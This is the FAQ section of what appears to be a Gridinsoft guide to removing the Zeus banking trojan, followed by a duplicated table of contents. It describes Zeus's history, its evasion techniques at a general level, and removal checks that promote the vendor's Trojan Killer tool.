The original Zeus trojan has largely been supplanted by more advanced threats, but its legacy lives on in numerous ways. While classic Zeus variants have become relatively rare, the Zeus source code continues to influence modern banking trojans. After the Zeus source code leak in 2011, it spawned numerous derivatives that remain active today, including Terdot, Floki Bot, and Sphinx. Many contemporary banking trojans incorporate techniques originally pioneered by Zeus. Additionally, some cybercriminal groups maintain modified versions of the original Zeus code, occasionally deploying them in targeted attacks. The cybersecurity community continues to see Zeus-based code signatures in approximately 15-20% of banking malware incidents, demonstrating its enduring impact on the threat landscape even years after its initial prominence.

How does Zeus bypass traditional security measures?

Zeus employs several sophisticated techniques to evade detection by traditional security solutions. Its polymorphic engine generates unique code signatures for each infection, making signature-based detection challenging. The trojan often uses encrypted configuration files and communications, preventing security tools from easily identifying malicious traffic. Zeus’s man-in-the-browser technique operates within legitimate browser processes, making its activities difficult to distinguish from normal browsing. Additionally, Zeus contains anti-VM and anti-debugging features that can detect when it’s being analyzed in a security research environment, at which point it will modify its behavior or remain dormant. Perhaps most concerning is Zeus’s ability to inject HTML code into legitimate banking websites in real-time, creating convincing phishing fields that appear to be part of the legitimate site—a technique that bypasses traditional phishing protections that rely on URL or website verification.

What makes Zeus different from other banking trojans?

Zeus earned its notorious reputation through several innovations that set it apart from earlier banking trojans. While many predecessors relied on crude phishing or keylogging, Zeus pioneered sophisticated “man-in-the-browser” attacks that could modify web pages in real-time as users viewed them. This allowed Zeus to present convincing form fields that appeared to be legitimate parts of banking websites. Its modular design made it highly adaptable—operators could easily add new functionality or target different institutions by updating configuration files. Zeus was also one of the first widely commercialized malware kits sold on underground forums, which dramatically lowered the barrier to entry for financial cybercrime. This commercial model, combined with its effectiveness, led to widespread adoption and continuous improvement by various threat actors. Many techniques now standard in banking trojans were either invented or popularized by Zeus, making it a transformative force in financial malware evolution.

How can I be sure Trojan Killer has completely removed Zeus?

Confirming complete Zeus removal requires a multi-layered verification approach. After running Trojan Killer and removing detected threats, restart your computer and run a second full scan—Zeus often creates multiple persistence mechanisms that might not all be detected in a single scan. Next, check for common Zeus artifacts: examine your hosts file (C:\Windows\System32\drivers\etc\hosts) for unusual entries blocking security websites, verify your browser settings haven’t been modified, and ensure you can access antivirus and banking websites without redirects. For additional certainty, run a secondary scan with a different security tool that might detect residual components using different detection methods. Finally, since Zeus primarily targets financial access, monitor your banking and financial accounts closely for at least 30 days following removal. If you’re handling extremely sensitive data or manage high-value financial accounts, consider a clean OS installation as the most definitive solution after a Zeus infection.

What was the impact of the Zeus source code leak?

The 2011 leak of the Zeus source code represents one of the most consequential events in malware history, with reverberations still felt today. Prior to the leak, Zeus was sold as a proprietary malware kit for thousands of dollars, limiting its use to well-funded cybercriminals. Once the source code became freely available, it sparked a wave of innovation as countless developers modified and enhanced the code. This democratization of sophisticated banking malware led directly to the creation of numerous Zeus derivatives, including Citadel, Gameover Zeus, Ice IX, and others. Each variant added new capabilities while retaining Zeus’s powerful core functionality. Beyond direct derivatives, Zeus’s code influenced the entire banking trojan ecosystem, with many of its techniques becoming standard features in competing malware families. The leaked code essentially provided a sophisticated framework that accelerated malware development across the criminal ecosystem, leading some security researchers to describe it as “the gift to cybercriminals that keeps on giving” even years after the original leak.

How to Remove Trojan Zeus: Complete Removal Guide

What is Zeus Trojan?

Interesting Facts About Trojan Zeus

Zeus Infection Statistics

How Zeus Trojan Spreads

Signs of Trojan Zeus Infection

Dangers of Trojan Zeus

Banking Trojans Comparison: Zeus, Emotet, TrickBot, and Dridex

How to Remove Trojan Zeus

1. Removal Using Trojan Killer

2. Manual Removal (For Advanced Users)

3. Additional Security Measures After Removal

Preventing Zeus Trojan Infection

Technical Details of Zeus Trojan

Advanced Technical Analysis of Zeus Trojan (For Security Researchers)

Zeus Internal Architecture

Zeus Code Analysis: Browser Hooking Mechanism

Zeus Configuration Format and Encryption

Zeus WebInject Mechanism

Indicators of Compromise (IoCs)

File System Artifacts

Registry Artifacts

Network Indicators

YARA Rules for Zeus Detection

Memory Forensics for Zeus Detection

Zeus Config Extraction Tool

Zeus Evolution and Variants

Advanced Zeus Prevention and Detection

Frequently Asked Questions

Is Zeus still active in 2025?

How does Zeus bypass traditional security measures?

What makes Zeus different from other banking trojans?

How can I be sure Trojan Killer has completely removed Zeus?

What was the impact of the Zeus source code leak?

Gridinsoft Team

Leave a ReplyCancel Reply

What is Zeus Trojan?

Interesting Facts About Trojan Zeus

Zeus Infection Statistics

How Zeus Trojan Spreads

Signs of Trojan Zeus Infection

Dangers of Trojan Zeus

Banking Trojans Comparison: Zeus, Emotet, TrickBot, and Dridex

How to Remove Trojan Zeus

1. Removal Using Trojan Killer

2. Manual Removal (For Advanced Users)

3. Additional Security Measures After Removal

Preventing Zeus Trojan Infection

Technical Details of Zeus Trojan

Advanced Technical Analysis of Zeus Trojan (For Security Researchers)

Zeus Internal Architecture

Zeus Code Analysis: Browser Hooking Mechanism

Zeus Configuration Format and Encryption

Zeus WebInject Mechanism

Indicators of Compromise (IoCs)

File System Artifacts

Registry Artifacts

Network Indicators

YARA Rules for Zeus Detection

Memory Forensics for Zeus Detection

Zeus Config Extraction Tool

Zeus Evolution and Variants

Advanced Zeus Prevention and Detection

Frequently Asked Questions

Is Zeus still active in 2025?

How does Zeus bypass traditional security measures?

What makes Zeus different from other banking trojans?

How can I be sure Trojan Killer has completely removed Zeus?

What was the impact of the Zeus source code leak?

Gridinsoft Team

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